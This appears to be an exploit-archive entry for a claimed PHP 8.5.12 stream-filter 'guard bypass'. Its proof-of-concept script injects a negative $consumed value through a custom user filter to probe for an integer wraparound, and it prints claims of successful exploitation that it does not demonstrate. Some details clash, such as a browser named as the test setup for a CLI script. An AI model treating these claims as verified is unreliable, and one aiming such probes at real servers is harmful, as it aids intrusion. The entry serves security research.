PHP 8.5.12 Stream Filter Guard Bypass
==================================================================================================================================
| # Title : PHP 8.5.12 Logical Guard Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits) |
| # Vendor : https://www.php.net |
==================================================================================================================================
[+] Summary : A PHP security research and auditing script designed to investigate stream filter behavior in PHP 8.5.12,
focusing on php_stream_filter_append_ex(), bucket lifecycle management, and the handling of the $consumed parameter.
[+] The script registers a custom php_user_filter that:
- Monitors filter invocations and stream bucket processing.
- Tracks consumed bytes and filter execution states.
- Injects a negative $consumed value (-1) to investigate potential integer conversion and unsigned wraparound behavior.
- Tests the three filter return statuses: PSFS_PASS_ON, PSFS_FEED_ME, and PSFS_ERR_FATAL.
- Uses pre-buffered memory streams to examine filter attachment and read-position behavior.
- Reports filter registration, append results, and remaining stream data.
Research Objective: Identify potential integer underflow, boundary-validation weaknesses, and inconsistencies in PHP stream filter lifecycle management.
[+] POC :
<?php
if (!defined('PSFS_PASS_ON')) define('PSFS_PASS_ON', 2);
if (!defined('PSFS_FEED_ME')) define('PSFS_FEED_ME', 1);
if (!defined('PSFS_ERR_FATAL')) define('PSFS_ERR_FATAL', 0);
class WeaponizedAuditFilter extends php_user_filter
{
private int $calls = 0;
public function filter($in, $out, &$consumed, bool $closing): int
{
$this->calls++;
$inputBytes = 0;
while ($bucket = stream_bucket_make_writeable($in)) {
$inputBytes += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
echo sprintf(
"[CALL %d] closing=%s | Buckets Data=%d bytes | consumed_type=%s\n",
$this->calls,
$closing ? 'true' : 'false',
$inputBytes,
gettype($consumed)
);
if ($this->calls === 1 && $consumed !== null) {
echo "[!] Exploiting SF-001: Injecting negative consumed (-1) -> SIZE_MAX\n";
$consumed = -1;
} else {
$consumed = $inputBytes;
}
return (int)($this->params['status'] ?? PSFS_PASS_ON);
}
}
stream_filter_register('audit.advanced.exploit', WeaponizedAuditFilter::class);
$selected_status = PSFS_PASS_ON;
if (isset($argv[1])) {
switch (strtolower($argv[1])) {
case 'feed_me': $selected_status = PSFS_FEED_ME; break;
case 'err_fatal': $selected_status = PSFS_ERR_FATAL; break;
case 'pass_on': $selected_status = PSFS_PASS_ON; break;
}
}
echo "========================================================\n";
echo " PHP Stream Filter Audit Tool - Target: PHP 8.5.12\n";
echo " Testing Status Path: " . array_search($selected_status, ['PSFS_ERR_FATAL'=>0, 'PSFS_FEED_ME'=>1, 'PSFS_PASS_ON'=>2]) . "\n";
echo "========================================================\n\n";
$stream = fopen('php://memory', 'w+');
fwrite($stream, 'ABCDEFGH');
rewind($stream);
echo "[*] Shifting stream->readpos by reading 1 byte...\n";
$first_byte = fread($stream, 1);
echo "[+] Initial read done. readpos = 1, writepos = 8. (Condition Ready)\n\n";
echo "[*] Injecting filter and forcing pre-buffered data execution...\n";
$filter_resource = stream_filter_append(
$stream,
'audit.advanced.exploit',
STREAM_FILTER_READ,
['status' => $selected_status]
);
echo "\n[*] Checking Append Operation Result:\n";
if ($filter_resource === false) {
echo "[-] Append Status: FAIL (PHP blocked the filter initialization / PSFS_ERR_FATAL path)\n";
} else {
echo "[+] Append Status: SUCCESS (The Guard was bypassed or deferred)\n";
echo "[*] Triggering stream_get_contents()...\n";
$remaining = stream_get_contents($stream);
echo "[+] Remaining Stream Output: '" . $remaining . "' (Length: " . strlen($remaining) . " bytes)\n";
stream_filter_remove($filter_resource);
}
fclose($stream);
echo "\n[+] Audit cycle completed.\n";
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Nov 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1